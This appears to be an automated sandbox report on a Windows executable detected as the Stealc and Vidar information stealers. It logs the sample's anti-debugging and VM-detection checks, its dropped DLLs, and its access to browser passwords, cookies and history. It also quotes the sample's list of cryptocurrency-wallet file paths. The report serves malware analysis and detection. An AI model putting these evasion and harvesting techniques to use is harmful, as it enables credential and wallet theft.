Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830290 second address: 58302E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0E4E9B9EFh 0x00000008 pushfd 0x00000009 jmp 00007FD0E4E9B9F8h 0x0000000e sbb si, 4938h 0x00000013 jmp 00007FD0E4E9B9EBh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esp], ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD0E4E9B9F5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196939 second address: 119693D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119693D second address: 1196941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830A9D second address: 5830AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AA1 second address: 5830AB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AB6 second address: 5830ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830ABC second address: 5830AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AC0 second address: 5830AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AD0 second address: 5830AE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AE0 second address: 5830AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0E506DD0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5830AF2 second address: 5830B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, si 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FF18A9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FF199E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1188F44 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1220BC9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00DA4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00DA4910
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_00D9DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_00D9E430
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00D916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00D9F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00DA3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	6_2_00DA3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	6_2_00D9BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00DA38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	6_2_00DA38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00DA4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	6_2_00DA4570
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	6_2_00D9ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_00D9DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00D9DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00D91160 GetSystemInfo,ExitProcess,

6_2_00D91160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DAEGIDHD.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: DAEGIDHD.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903^
Source: DAEGIDHD.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: DAEGIDHD.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696503903x
Source: DAEGIDHD.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: DAEGIDHD.6.dr	Binary or memory string: bankofamerica.comVMware20,11696503903x
Source: file.exe, 00000006.00000002.1538633015.0000000001972000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: DAEGIDHD.6.dr	Binary or memory string: global block list test formVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: DAEGIDHD.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: DAEGIDHD.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: AMC password management pageVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: DAEGIDHD.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903}
Source: DAEGIDHD.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696503903
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696503903p
Source: DAEGIDHD.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696503903n
Source: DAEGIDHD.6.dr	Binary or memory string: outlook.office365.comVMware20,11696503903t
Source: DAEGIDHD.6.dr	Binary or memory string: outlook.office.comVMware20,11696503903s
Source: DAEGIDHD.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696503903
Source: file.exe, 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DAEGIDHD.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696503903d
Source: file.exe, 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DAEGIDHD.6.dr	Binary or memory string: dev.azure.comVMware20,11696503903j
Source: DAEGIDHD.6.dr	Binary or memory string: discord.comVMware20,11696503903f
Source: DAEGIDHD.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696503903

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-58455
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-59643
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-58452
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-58471
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-58467
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_6-58507

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_6C5C5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

6_2_6C5C5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00D945C0 VirtualProtect ?,00000004,00000100,00000000

6_2_00D945C0

Source: C:\Users\user\Desktop\file.exe

6_2_00DA9860

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA9750 mov eax, dword ptr fs:[00000030h]

6_2_00DA9750

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

6_2_00DA78E0

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C59B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		6_2_6C59B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C59B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		6_2_6C59B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

6_2_00DA9600

Source: file.exe, 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: =Program Manager
Source: file.exe	Binary or memory string: bj=Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_6C59B341 cpuid

6_2_6C59B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

6_2_00DA7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

6_2_00DA7980

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

6_2_00DA7850

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

6_2_00DA7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 6.2.file.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.1311274897.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp*
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
